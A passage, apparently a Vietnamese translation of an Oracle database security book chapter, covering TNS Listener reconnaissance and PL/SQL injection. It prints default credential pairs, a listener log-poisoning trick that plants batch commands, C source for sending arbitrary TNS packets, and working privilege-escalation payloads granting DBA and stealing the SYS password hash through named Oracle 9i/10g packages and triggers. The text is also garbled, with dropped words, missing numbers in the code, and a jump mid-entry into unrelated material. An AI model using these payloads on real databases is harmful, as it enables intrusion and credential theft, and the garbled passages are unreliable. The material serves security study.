PL SQL Injection Trong phần này chúng ta thảo luận về PL SQL Injection, một kỹ thuật tấn công quan trọng liên quan đến các thủ tục được lưu trữ trong Oracle. Sử dụng PL SQL Injection, những kẻ tấn công có thể nâng cấp đặc quyền của họ từ tài khoản PUBLIC cấp thấp lên tài khoản có đặc quyền cấp DBA. Kỹ thuật này liên quan đến hầu hết tất cả các phiên bản của Oracle, và có thể được sử dụng để tấn công các thủ tục được lưu trữ tùy chỉnh cũng như các thủ tục được cung cấp cùng với chính Oracle. Chèn vào câu lệnh SELECT Phần này kiểm tra cách đưa vào câu lệnh SELECT. Một ví dụ đơn giản Hãy xem xét mã của thủ tục này và giả sử nó thuộc sở hữu của SYS và có thể được thực thi bởi PUBLIC: CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR ‘SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘’’ || P_OWNER || ‘’’ AND OBJECT_TYPE=’’LIBRARY’’’; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; Thủ tục này liệt kê tất cả các thư viện thuộc sở hữu của một người dùng nhất định người dùng được hỗ trợ bởi người thực hiện thủ tục. Sau đó, danh sách các thư viện được lặp lại tới thiết bị đầu cuối bằng cách sử dụng DBMS_OUTPUT.PUT_LINE. Thủ tục sẽ được thực thi như sau: SET SERVEROUTPUT ON EXEC SYS.LIST_LIBRARIES (SYS);
Quét máy chủ Oracle Việc tìm kiếm máy chủ sở liệu Oracle mạng đạt hiệu tốt cách thực quét cổng TCP, tất nhiên trừ bạn biết vị trí Oracle quy trình ngoại vi lắng nghe nhiều cổng khác nhau, số chúng nằm cổng mặc định hầu hết chúng khơng Danh sách sau trình bày chi tiết số quy trình Oracle phổ biến cổng chúng tìm thấy liên quan Cổng thông dụng Các cổng thông dụng 199 agntsvc 1520-1530 tnslsnr 1748 dbsnmp 1754 dbsnmp 1809 dbsnmp 1808 dbsnmp 1810 java - Dịch vụ web quản lý doanh nghiệp oracle 1830 emagent 1831 emagent 1850 java ORMI 2030 omtsreco 2100 tnslsnr 2481 tnslsnr 2482 tnslsnr 3025 ocssd 3026 ocssd 4696 ocssd 6003 opmn 6004 opmn 6200 opmn 6201 opmn 7777 Apache - OAS 8080 tnslsnr 9090 tnslsnr 9090 TNS Listener Khi máy chủ sở liệu Oracle phát hiện, cổng gọi TNS Listener Bạn cần lấy số thông tin trước tiếp tục, chẳng hạn phiên bản, hệ điều hành dịch vụ sở liệu Tiện ích kiểm sốt Listener sử dụng để lấy thơng tin Chạy tiện ích từ dịng lệnh lệnh đặt Trình xử lý bạn muốn kết nối: LSNRCTL> set current_listener 10.1.1.1 Điều hướng tất lệnh đến Trình nghe TNS địa IP 10.1.1.1 Sau đặt, chạy lệnh version: LSNRCTL> version Connecting to (DESCRIPTION = (CONNECT_DATA = (SID = *) (SERVICE_NAME = 10.1.1.1)) (ADDRESS = (PROTOCOL = TCP) (HOST = 10.1.1.1) (PORT = 1521))) TNSLSNR for Windows 32 bit: version 9.2.0.1.0 – Production TNS for 32-bit windows: version 9.2.0.1.0 – Production Oracle Bequeath NT protocol adapter for 32bit windows: version 9.2.0.1.0 - Production Tại bạn thấy máy chủ chạy Windows- dựa hệ thống phiên 9.2.0.1.0 Biết số phiên cho phép bạn biết lỗi mà máy chủ dễ bị công - mức độ định Một số vá lỗi Oracle không cập nhật số phiên vá lỗi khác có Số phiên chắn đưa bạn vào cơng viên bóng Một chút thông tin bạn cần tên dịch vụ sở liệu chạy Bạn nhận điều với lệnh dịch vụ LSNRCTL> services Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0))) Services Summary Service “ORAXP” has instance(s) Instance “ORAXP”, status UNKNOWN, has handler(s) for this service Handler(s): “DEDICATED” established:0 refused:0 LOCAL SERVER Service “PLSExtProc” has instance(s) Instance “PLSExtProc”, status UNKNOWN, has handler(s) for this service Handler(s): “DEDICATED” established:0 refused:0 LOCAL SERVER Service “oraxp.ngssoftware.com” has instance(s) Instance “oraxp”, status READY, has handler(s) for this service Handler(s): “DEDICATED” established:0 refused:0 state:ready LOCAL SERVER Service “oraxpXDB.ngssoftware.com” has instance(s) Instance “oraxp”, status READY, has handler(s) for this service Handler(s): “D000” established:0 refused:0 current:0 max:1002 state:ready DISPATCHER (ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249)) The command completed successfully LSNRCTL> Ở bạn thấy có dịch vụ sở liệu với SID ORAXP Lưu ý mật Trình nghe TNS đặt, bạn gặp lỗi tương tự : Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1)) (ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521))) TNS-01169: The listener has not recognized the password LSNRCTL> LSNRCTL> status Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1)) (ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521))) STATUS of the LISTENER -Alias Version LISTENER TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production Start Date 11-OCT-2004 00:47:20 Uptime days hr 22 31 sec Trace Level off Security ON SNMP OFF Listener Parameter File C:\oracle\ora92\network\admin\listener.ora Listener Log File C:\oracle\ora92\network\log\listener.log Listening Endpoints Summary (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc) (PIPENAME=\\.\pipe\EXTPROC0ipc))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS) (PORT=1521))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080)) (Presentation=HTTP)(Session=RAW)) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS) (PORT=2100)) (Presentation=FTP)(Session=RAW)) Services Summary Service “ORAXP” has instance(s) Instance “ORAXP”, status UNKNOWN, has handler(s) for this service Service “PLSExtProc” has instance(s) Instance “PLSExtProc”, status UNKNOWN, has handler(s) for this service Service “oraxp.ngssoftware.com” has instance(s) Instance “oraxp”, status READY, has handler(s) for this service Service “oraxpXDB.ngssoftware.com” has instance(s) Instance “oraxp”, status READY, has handler(s) for this service The command completed successfully LSNRCTL> Từ lệnh trạng thái, bạn thấy số điều: Phiên Hệ điều hành Tính theo dõi bị tắt Bảo mật bật, nghĩa mật Trình nghe đặt Đường dẫn đến tệp nhật ký Điểm cuối nghe Cơ sở liệu SIDS, trường hợp ORAXP Điều quan trọng phải biết SID sở liệu bạn cần điều để thực kết nối sử dụng dịch vụ sở liệu Chúng ta quay lại vấn đề sau, hết Trước điều này, xem xét số cách máy chủ cài đặt thơng qua TNS Listener Đầu tiên, TNS Listener, tùy thuộc vào phiên bản, dễ bị cơng số lỗ hổng tràn đệm bị khai thác mà khơng có ID người dùng mật Ví dụ, Oracle 9i dễ bị tràn máy khách yêu cầu tên_dịch vụ q dài Khi Trình xử lý tạo thơng báo lỗi để ghi nhật ký, giá trị service_name chép vào đệm dựa ngăn xếp bị tràn - ghi đè địa trả lưu ngăn xếp Điều cho phép kẻ công giành quyền kiểm soát Trên thực tế, TNS Listener phải chịu nhiều luồng định dạng chuỗi định dạng khứ Tìm kiếm securityfocus.com cung cấp cho bạn tất chi tiết Một công thú vị khác liên quan đến việc đầu độc tệp nhật ký Điều hoạt động mật Trình nghe đặt Giả sử chưa thiết lập, cách công diễn Sử dụng mã sau, tắt (CONNECT_DATA = (CMD = log_directory) (ARGUMENTS = 4) (VALUE = c: \\)) Điều đặt thư mục nhật ký thành C: \ Sau tắt (CONNECT_DATA = (CMD = log_file) (ARGUMENTS = 4) (VALUE = foo.bat)) Điều đặt tệp nhật ký thành foo.bat Sau tắt || dir> foo.txt Thao tác tạo tệp loạt từ gốc ổ C: với nội dung sau: 11-OCT-2004 02:27:27 * log_file * 11-OCT-2004 02:28:00 * 1153 TNS- 01153: Không xử lý chuỗi: || dir> foo.txt NL-00303: lỗi cú pháp chuỗi NV Lưu ý dòng thứ ba: TNS-01153: Không xử lý chuỗi: || dir> foo.txt Khi tệp hàng loạt chạy, dòng coi lệnh, tất nhiên chúng không chúng không thực thi Tuy nhiên, dấu ngoặc kép (||) - lệnh cho Windows Command Interpreter (cmd.exe) chạy lệnh thứ hai lệnh khơng thành cơng - dịng thứ ba, dir> foo.txt thực thi Bằng cách chọn tệp khác, chẳng hạn tệp thực thi tự động hệ thống khởi động đăng nhập, lệnh thực thi hệ thống bị xâm phạm Lưu ý phiên Oracle gần thêm log vào cuối tên tệp để cố gắng bảo vệ khỏi điều Biện pháp bảo vệ tốt đặt mật Trình xử lý bật ADMIN_RESTRICTIONS, nhiều điều sau Oracle chạy hệ thống dựa UNIX bị xâm phạm fash-ion Một cách để thực việc echo "+ +" tới tệp rhosts người dùng Ora- cle sau sử dụng dịch vụ r * chúng chạy Mã sử dụng để gửi gói tùy ý qua TNS: #include #include #include int SendTNSPacket(void); int StartWinsock(void); int packet_length(char *); int PrintResp(unsigned char *p, int l); struct sockaddr_in c_sa; struct sockaddr_in s_sa; struct hostent *he; SOCKET sock; unsigned int addr; char data[32000]=””; int ListenerPort=1521; char host[260]=””; int prt = 40025; int PKT_LEN = 0x98; int two_packets=0; unsigned char TNSPacket[200]= “\x00\x3A” // Packet length “\x00\x00” // Checksum “\x01” // Type - connect “\x00” // Flags “\x00\x00” // Header checksum “\x01\x39” // Version “\x01\x2C” // Compat version “\x00\x00” // Global service options “\x08\x00” // PDU “\x7F\xFF” // TDU “\x86\x0E” // Protocol Characteristics “\x00\x00” // “\x01\x00” // Byte order “\x00\x85” // Datalength “\x00\x3A” // Offset “\x00\x00\x07\xF8” // Max recv “\x0C\x0C” // ANO “\x00\x00” “\x00\x00\x00\x00” “\x00\x00\x00\x00” “\x0A\x4C\x00\x00” “\x00\x03\x00\x00” “\x00\x00\x00\x00” “\x00\x00”; unsigned char TNSPacket2[200]= “\x00\x00” // Packet Length “\x00\x00” // Checksum “\x06” // Type – data “\x00” // Flags “\x00\x00” // Header Checksum “\x00\x00”; int main(int argc, char *argv[]) { unsigned int ErrorLevel=0,len=0,c =0; int count = 0; if(argc < 3) return printf(“%s host string\n”,argv[0]); strncpy(host,argv[1],256); strncpy(data,argv[2],31996); if(argc == 4) ListenerPort = atoi(argv[3]); if(StartWinsock()==0) { printf(“Error starting Winsock.\n”); return 0; } PKT_LEN = packet_length(data); SendTNSPacket(); return 0; } int packet_length(char *datain) { int dl=0; int hl=0x3A; int tl=0; int e = 0; int f =0; dl = strlen(datain); printf(“dl = %d and total = %d\n”,dl,dl+hl); if(dl == 255 || dl > 255) { e = dl % 256; e = dl - e; e = e / 256; TNSPacket[24]=e; f = dl % 256; TNSPacket[25]=f; dl = dl + 10; e = dl % 256; e = dl - e; e = e / 256; TNSPacket2[0]=e; f = dl % 256; TNSPacket2[1]=f; two_packets = 1; } else { TNSPacket[25]=dl; TNSPacket[1]=dl+0x3A; } return dl+hl; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != ) return 0; if ( LOBYTE( wsaData.wVersion ) != || HIBYTE( wsaData.wVersion ) != ) { WSACleanup( ); return 0; } if (isalpha(host[0])) he = gethostbyname(host); else { addr = inet_addr(host); he = gethostbyaddr((char *)&addr,4,AF_INET); } if (he == NULL) return 0; s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); return 1; } int SendTNSPacket(void) { SOCKET c_sock; unsigned char resp[10000]=””; int snd=0,rcv=0,count=0, var=0; unsigned int ttlbytes=0; unsigned int to=2000; struct sockaddr_in srv_addr,cli_addr; LPSERVENT srv_info; LPHOSTENT host_info; SOCKET cli_sock; cli_sock=socket(AF_INET,SOCK_STREAM,0); if (cli_sock==INVALID_SOCKET) return printf(“ sock error”); cli_addr.sin_family=AF_INET; cli_addr.sin_addr.s_addr=INADDR_ANY; cli_addr.sin_port=htons((unsigned short)prt); if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))== SOCKET_ERROR) { closesocket(cli_sock); return printf(“bind error”); } s_sa.sin_port=htons((unsigned short)ListenerPort); if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))== SOCKET_ERROR) { printf(“Connect error %d”,GetLastError()); return closesocket(cli_sock); } snd=send(cli_sock, TNSPacket , 0x3A , 0); if(two_packets == 1) snd=send(cli_sock, TNSPacket2 , 10 , 0); snd=send(cli_sock, data , strlen(data) , 0); rcv = recv(cli_sock,resp,9996,0); if(rcv != SOCKET_ERROR) PrintResp(resp,rcv); closesocket(cli_sock); return 0; } int PrintResp(unsigned char *p, int l) { int c = 0; int d = 0; while(c < l) { printf(“%.2X “,p[c]); c ++; if(c % 16 == 0) { d = c - 16; printf(“\t”); while(d < c) { if(p[d] == 0x0A || p[d] == 0x0D) printf(“ “); else printf(“%c”,p[d]); d++; } printf(“\n”); d = 0; }} d = c - 16; printf(“\t”); while(d < c) { if(p[d] == 0x0A || p[d] == 0x0D) printf(“ “); else printf(“%c”,p[d]); d++; } printf(“\n”); d = 0; return 0; } Các phương pháp khác để thỏa hiệp TNS Listener thảo luận phần sau, tại, chuyển ý đến RDBMS Một bit thơng tin quan trọng mà yêu cầu tên định danh dịch vụ sở liệu - SID- mà thu từ TNS Listener trước Ngay muốn khai thác lỗi tràn đệm tên người dùng dài Oracle 9iR2 trở trước, cần SID sở liệu Sự cố tràn mà vừa đề cập số cách Oracle bị xâm nhập mà khơng có ID người dùng mật khẩu, phát Mark Litchfield Giả sử bạn không khai thác tràn để xâm nhập vào hệ thống, bạn cịn cách đốn ID người dùng mật Có nhiều tài khoản mặc định thành phần khác Oracle với mật mặc định nên có lẽ cách hiệu để công máy chủ Oracle Chúng bao gồm danh sách đầy đủ 600 Phụ lục C Những thứ cần truy cập sau: Username Password SYS CHANGE_ON_INSTALL SYSTEM MANAGER DBSNMP DBSNMP CTXSYS CTXSYS MDSYS MDSYS ORACLE INTERNAL Để kết nối với hệ thống từ xa sqlplus, bạn cần chỉnh sửa tệp tnsnames.ora Bạn tìm thấy điều thư mục ORACLE_HOME / network / admin Giả sử máy chủ sở liệu có địa IP 10.1.1.1, SID sở liệu ORAXP lắng nghe cổng TCP 1521, bạn nên thêm mục nhập sau: REMOTE = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521)) PASSWORD FROM SYS.USER$ WHERE NAME = ‘’SYS’’) WHERE STR1=’’VULN’’ ’); Ở chèn vào cột STR1 bảng WKVULN giá trị VULN Đây hàng mà cập nhật với injection Tất nhiên, hai trường hợp chèn hàm tùy ý để thay thế: INSERT INTO WKVULN (STR1) VALUES (‘VULNC’); EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,’SCOTT.WKVULN SET STR1 = (SCOTT.GET_IT) WHERE STR1=’’VULNC’’ ’); Đưa vào khối PL/SQL ẩn danh Mặc dù theo định nghĩa, khối PL/SQL ẩn danh không liên kết với thủ tục chức nào, chương trình PL/SQL lưu trữ thực thi PL/SQL ẩn danh từ bên mã chúng Ví dụ, xem xét điều sau: CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT:= ‘BEGIN ‘ || ‘DBMS_OUTPUT.PUT_LINE(‘’’ || P_BUF || ‘’’);’ || ‘END;’; EXECUTE IMMEDIATE STMT; END; Executing this procedure as follows EXEC ANON_BLOCK(‘FOOBAR’); returns FOOBAR PL/SQL procedure successfully completed Nếu kẻ cơng đưa vào khối PL/SQL ẩn danh, thực với thủ tục ANON_BLOCK này, kẻ cơng làm gì? Giả sử thủ tục ANON_BLOCK xác định người dùng SYS, kẻ cơng đưa vào câu lệnh GRANT để trở thành DBA EXEC ANON_BLOCK(‘F’’); EXECUTE IMMEDIATE ‘’GRANT DBA TO SCOTT’’; END; -’); Điều thay đổi khối PL/SQL ẩn danh ban đầu từ BEGIN DBMS_OUTPUT.PUT_LINE(‘F’); END; thành: BEGIN DBMS_OUTPUT.PUT_LINE(‘F’); EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’; END; ’);END; Sau thực thi SCOTT cấp vai trò DBA cách phát hành SET ROLE DBA SCOTT có đầy đủ đặc quyền DBA tất địi hỏi Ví dụ thực tế Mặc dù ANON_BLOCK ví dụ khơng thực tế, điều xảy “thế giới thực” Ví dụ, Oracle 10g, PUBLIC thực thi thủ tục GET_DOMAIN_INDEX_METADATA gói DBMS_EXPORT_EXTENSION SYS sở hữu Gói chưa xác định từ khóa AUTHID_CURRENT_USER chạy với đầy đủ đặc quyền SYS Thủ tục thực thi khối PL/SQL ẩn danh đưa vào DECLARE NB PLS_INTEGER; BUF VARCHAR2(2000); BEGIN BUF:= SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(‘FOO’,’SCH’,’FOO’,’E XFSYS”.”EXPRESSIONINDEXMETHODS”.ODCIIndexGetMetadata(oindexinfo,:p3,:p4, ENV); EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ‘’GRANT DBA TO SCOTT’’;END; ’,’VER’,NB,1); END; / Tập lệnh đưa vào thủ tục cấp vai trò DBA cho SCOTT Khoản trợ cấp thực tế đặt khối ngoại lệ truy vấn trả "no data" Bằng cách nắm bắt tất ngoại lệ với từ khóa WHEN OTHERS, ngoại lệ “no data” xảy ra, bị bắt EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT' kích hoạt Một ví dụ khác thủ tục GET_ACL gói WK_ACL thuộc sở hữu WKSYS Oracle 10g Thủ tục nhận tham số thứ ba giá trị varchar2 Giá trị sau chèn vào khối PL/SQL ẩn danh quy trình để thực lựa chọn từ liên kết sở liệu từ xa Bằng cách chèn SQL riêng vào tham số này, nâng cấp lên DBA Ví dụ: xem xét tập lệnh sau: DECLARE FOO RAW(2000); BAR CLOB; BEGIN WKSYS.WK_ACL.GET_ACL(FOO,BAR,’”AAA” WHERE ACL_ID=:1;:2:=:2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); END; ’); END; / Tham số thứ ba GET_ACL '“AAA” WHERE ACL_ID =: 1;: 2: =: 2; EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA (); END; ' Ở “AAA” liên kết sở liệu Chúng ta phải thêm “WHERE ACL_ID =: 1;: 2: =: 2” để tránh lỗi “bind variable not present” Sau đó, ta thiết lập khối ngoại lệ: EXCEPTION WHEN OTHERS THEN SCOTT.ADD_DBA(); Khi ngoại lệ xảy - ví dụ: "no data" trả - thủ tục SCOTT.ADD_DBA thực thi SCOTT tạo quy trình sau: CREATE OR REPLACE PROCEDURE ADD_DBA AUTHID CURRENT_USER AS BEGIN EXECUTE IMMEDIATE ‘GRANT DBA TO SCOTT’; END; / Nếu liệu trả khơng cần khối ngoại lệ '“AAA” WHERE ACL_D =: 1;: 2: =: 2; SCOTT.ADD_DBA (); END; - 'như tham số thứ ba thực Ràng buộc liên kết sở liệu “AAA” phải tồn công khai thuộc sở hữu WKSYS Cùng với việc trực tiếp thực truy vấn người dùng cung cấp cách sử dụng DBMS_SQL, việc đưa vào khối PL/SQL ẩn danh hình thức PL/SQL injection nguy hiểm Nhắc lại, kiểm tra mã chương trình PL/SQL bạn để tìm lỗ hổng giải chúng Xem phần viết PL/SQL an toàn Thực thi truy vấn người dùng cung cấp với DBMS_SQL Gói mặc định DBMS_SQL cho phép SQL thực thi động Thuộc quyền sở hữu SYS, xác định với từ khóa AUTHID CURRENT_USER để chạy với đặc quyền người gọi Điều bảo vệ thủ tục DBMS_SQL chống lại công trực tiếp, gọi từ chương trình PL/SQL khác sử dụng quyền xác định có vấn đề Trước tìm hiểu thủ tục DBMS_SQL nguy hiểm nào, kiểm tra xem hoạt động Hãy xem xét đoạn mã sau DECLARE C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’SELECT FROM DUAL’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; Ở đây, trỏ, C, mở hàm OPEN_CURSOR Sau đó, câu lệnh SQL, 'SELECT FORM DUAL', phân tích cú pháp cách sử dụng DBMS_SQL.PARSE (C, STMT, DBMS_SQL.NATIVE) Sau phân tích cú pháp, truy vấn thực thi DBMS_SQL.EXECUTE_AND_FETCH (C) Ngồi ra, hàm DBMS_SQL.EXECUTE (C) gọi theo sau lệnh gọi tới DBMS_SQL.FETCH_ROWS (C) Cuối cùng, trỏ đóng DBMS_SQL.CLOSE_CURSOR (C) Bất kỳ truy vấn thực thủ tục Điều bao gồm lệnh gọi tới GRANT, CREATE ALTER Tuy nhiên, cố gắng chạy truy vấn DBMS_SQL, lỗi trả ORA-01003: no statement parsed ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1216 ORA-06512: at “SYS.DBMS_SQL”, line 334 Tuy nhiên, thành cơng Để xem điều hoạt động, chạy truy vấn sau: SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’; returns GRANTEE -SYS WKSYS SYSMAN SYSTEM Sau chạy DECLARE C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / Kết trả vể ORA-01003: no statement parsed ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1216 ORA-06512: at “SYS.DBMS_SQL”, line 334 sau chạy SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = ‘DBA’; lần nữa, lần trả GRANTEE -SYS WKSYS PUBLIC SYSMAN SYSTEM Bây chạy REVOKE DBA FROM PUBLIC; Bạn không muốn rời bỏ vai trị giao Về bảo mật, thủ tục DBMS_SQL.PARSE Thay vào đó, tùy chọn an tồn chạy thủ tục PARSE_AS_USER gói DBMS_SYS_SQL Thủ tục phân tích cú pháp câu lệnh cách sử dụng đặc quyền người dùng khơng phải trình định nghĩa thủ tục Vì vậy, giả sử SYS tạo hai thủ tục P Q sau: CREATE OR REPLACE PROCEDURE P AS C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / GRANT EXECUTE ON P TO PUBLIC; CREATE OR REPLACE PROCEDURE Q AS C NUMBER; R NUMBER; STMT VARCHAR2(200); BEGIN STMT:=’GRANT DBA TO PUBLIC’; C :=DBMS_SQL.OPEN_CURSOR; DBMS_SYS_SQL.PARSE_AS_USER(C, STMT, DBMS_SQL.NATIVE); R := DBMS_SQL.EXECUTE_AND_FETCH(C); DBMS_SQL.CLOSE_CURSOR(C); END; / GRANT EXECUTE ON Q TO PUBLIC; Khi SCOTT thực thủ tục P việc cấp thành cơng, SCOTT chạy thủ tục Q việc cấp khơng thành cơng với ORA-01031: insufficient privileges ORA-06512: at “SYS.DBMS_SYS_SQL”, line 1585 ORA-06512: at “SYS.Q”, line Giả sử DBMS_SYS_SQL.PARSE_AS_USER an toàn khơng sử dụng, mà thay vào đó, DBMS_SQL.PARSE, thủ tục PL/SQL đầu vào người dùng chuyển đến nó, có khả bị kẻ cơng lạm dụng Ví dụ thực tế Trong Oracle 9i, thủ tục VALIDATE_STMT gói DRILOAD CTXSYS sở hữu sử dụng DBMS_SQL để phân tích cú pháp thực truy vấn PUBLIC có quyền thực thi gói Nó lấy, làm tham số nó, truy vấn SQL, sau cắm thẳng vào DBMS_SQL.PARSE sau thực thi Bởi CTXSYS DBA Oracle9i, tất kẻ cơng cần làm để trở thành DBA thực thi EXEC CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO SCOTT’); Mặc dù lỗi “ORA-01003: no statement parsed” trả lại, khoản cấp thành công SCOTT DBA PL/SQL Injection Database Trigger Trong Oracle, trình kích hoạt viết PL/SQL thực thi với đặc quyền trình định nghĩa; chúng sử dụng để nâng cao đặc quyền chúng mã hóa khơng tốt Hãy xem số ví dụ thực tế điều Trình kích hoạt SDO_CMT_CBK_TRIG thuộc sở hữu MDSYS kích hoạt DELETE thực bảng SDO_TXN_IDX_INSERTS, bảng thuộc sở hữu MDSYS PUBLIC có đặc quyền đối tượng SELECT, INSERT, UPDATE DELETE bảng Do đó, khiến trình kích hoạt SDO_CMT_CBK_TRIG kích hoạt cách xóa hàng khỏi bảng Nếu kiểm tra văn trình kích hoạt, thấy rằng, trước DELETE thực xảy ra, danh sách hàm chọn từ bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE sau hàm thực thi PUBLIC khơng có đặc quyền đối tượng đặt cho hai bảng nên chúng chèn tên hàm riêng Tuy nhiên, gói PRVT_CMT_CBK MDSYS sở hữu có hai thủ tục, CCBKAPPLROWTRIG EXEC_CBK_FN_DML, lấy tham số chúng tên lược đồ hàm, sau chèn vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE PUBLIC có quyền EXECUTE gói PRVT_CMT_CBK chưa xác định với từ khóa AUTHID CURRENT_USER, gói thực thi cách sử dụng quyền MDSYS, trình xác định khơng phải người gọi Do đó, chèn gián tiếp tên hàm vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_CBK_DML_TABLE Do đó, DELETE xảy SDO_TXN_IDX_INSERTS, ảnh hưởng đến hành động mà trình kích hoạt SDO_CMT_CBK_TRIG thực - nói cách khác, u cầu trình kích hoạt thực thi chức tùy ý Hơn nữa, chức này, thực thi từ trình kích hoạt chạy với đặc quyền MDSYS kẻ cơng khai thác điều để đạt đặc quyền nâng cao Tập lệnh mẫu này, chạy người dùng có đặc quyền thấp SCOTT, lấy lại băm mật cho tài khoản SYS Nó thực điều trước tiên cách tạo bảng có tên USERS_AND_PASSWORDS Bảng nơi kết thúc băm mật cho tài khoản SYS Sau đó, hàm, GET_USERS_AND_PWDS, tạo Đây nơi mà kẻ công đặt mã khai thác SQL Trong trường hợp này, hàm lợi dụng thực tế MDSYS có đặc quyền SELECT ANY TABLE để SELECT mật băm cho SYS từ bảng USER$ Với bảng hàm tạo, PUBLIC sau cấp quyền truy cập vào chúng Điều để MDSYS truy cập chúng Sau đó, thủ tục MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML thực thi, chèn SCHEMA SCOTT hàm GET_USERS_AND_PWDS vào bảng SDO_CMT_DBK_FN_TABLE SDO_CMT_DBK_FN_TABLE SD Với thứ vị trí, hàng sau chèn vào SDO_TXN_IDX_INSERTS sau bị xóa Khi q trình xóa xảy ra, trình kích hoạt kích hoạt, truy xuất hàm SCOTT.GET_USERS_AND_PWDS sau thực thi Khi hàm thực thi, mật băm cho SYS chọn từ SYS.USER$ sau chèn vào bảng USERS_AND_PASSWORDS SCOTT Cuối cùng, SCOTT chọn hàm băm từ bảng sau đưa vào trình bẻ khóa mật Oracle CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD VARCHAR2(200)); / GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC; GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC; CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2 VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.USERS_AND_PASSWORDS (USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME = ‘’SYS’’),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ‘’SYS’’))’; RETURN 1; END; / GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC; EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG(‘SCOTT’,’GET_USERS_AND_PWDS’); EXEC MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,’AAA’,’BBB’,’SCOTT’,’GET_ USERS_AND_PWDS’); INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID) VALUES(‘FIRE’,’FIRE’); DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = ‘FIRE’; SELECT * FROM USERS_AND_PASSWORDS; MDSYS.SDO_GEOM_TRIG_INS1 dễ bị chèn SQL 9i 10g Trình kích hoạt thực điều sau EXECUTE IMMEDIATE ‘SELECT user FROM dual’ into tname; stmt := ‘SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ‘ || ‘WHERE sdo_owner = ‘’’ || tname || ‘’’ ‘ || ‘ AND sdo_table_name = ‘’’ || :n.table_name || ‘’’ ‘|| ‘ AND sdo_column_name = ‘’’ || :n.column_name || ‘’’ ‘; INSERT thực MDSYS.USER_SDO_GEOM_METADATA :New.table_name và: new.column_name bị 